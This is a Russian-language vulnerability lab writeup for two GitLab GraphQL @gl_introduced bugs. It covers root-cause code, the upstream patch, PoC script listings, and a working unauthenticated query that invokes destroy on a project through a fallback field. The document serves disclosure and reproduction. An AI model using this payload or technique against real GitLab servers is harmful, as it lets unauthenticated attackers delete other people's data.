
Предоставляет PoC-эксплойты и анализ первопричин для двух уязвимостей директивы GraphQL `@gl_introduced` в GitLab: неаутентифицированное выполнение методов и подмена пакетных документов, вместе с апстрим-патчем и живыми доказательствами.
@gl_introducedЛаборатория для воспроизведения двух связанных ошибок в функции фильтра
версий GraphQL GitLab (директива @gl_introduced). Обе находятся в одной
функциональной области, устраняются одним и тем же апстрим-патчем, и обе
позволяют GraphQL-запросу достигать путей кода, которые он не объявлял:
destroy) на модели, стоящей за любым
GraphQL-типом, просто назвав несуществующее поле и пометив его
@gl_introduced.| Затронуто | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Исправлено | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Цель лаборатории | gitlab/gitlab-ce:19.2.2-ce.0 (последняя сборка до исправления) |
| Триггер | директива GraphQL @gl_introduced, отдельно или внутри пакета |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Всё в src/ — дословный апстрим-исходный код, ничего не переписано: загрузчик
накладывает src/vuln или src/patched поверх src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback позволяет запросу
ссылаться на поле, которого ещё нет в типе, не вызывая ошибку запроса — это
предназначено для rolling-деплоев, когда схема старого узла ещё не содержит
поле, которое уже поставляет более новый узел. Его переопределение get_field
проверяет, отсутствует ли запрошенное поле и помечен ли запрос флагом
contain_future_fields, и если да, то вместо исключения возвращает
синтетическое поле:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
Проблема: этот GraphQL::Schema::Field создаётся без метода-резолвера,
без класса-резолвера, без блока. Затем применяется стандартное разрешение
полей самого graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym — это имя поля в snake_case, то есть ровно та строка, которую
атакующий указал в запросе. Если объект за GraphQL-типом (модель ActiveRecord)
случайно имеет реальный публичный метод без аргументов с таким именем,
graphql-ruby вызывает его и возвращает его результат (приведённый к типу).
fallback_value: nil применяется только когда метода действительно не
существует — он никак не мешает выполнению реального метода.
Итак: запросите у любого типа поле, названное в честь реального деструктивного
метода — например, destroy — пометьте его @gl_introduced, чтобы оно дошло
до выполнения, и метод выполнится.
IntroducedTracer реализует остальную часть функции фильтра версий через
два trace-хука graphql-ruby — parse (один раз на операцию) и
execute_query (один раз на операцию). В уязвимой сборке он сохраняет
состояние для каждой операции в обычных переменных экземпляра объекта trace:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
Проблема: graphql-ruby использует ОДИН экземпляр trace для всех операций в multiplexed-запросе и разбирает их все до выполнения любой из них. Поэтому в пакете из двух операций:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 несёт future-поле @gl_introduced)После разбора сохраняется состояние только последней операции. Затем начинается выполнение:
execute_query(op1) → флаг равен true, поэтому документ op1 перезаписывается на
op2_doc и заново подготавливается → слот op1 выполняет операцию op2.op1 объявил чтение; он выполняет запись из op2.
patch-19.2.2-to-19.2.4.diff закрывает обе:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Без заголовка Authorization. Одна операция, без пакета. destroy — не настоящее
поле Project; его вообще нет в схеме, — но директива заставляет
FutureFieldFilter удалить его до статической валидации и взводит
contain_future_fields для этапа выполнения, где get_field возвращает
поле без резолвера с именем destroy, и graphql-ruby вызывает
project.public_send(:destroy).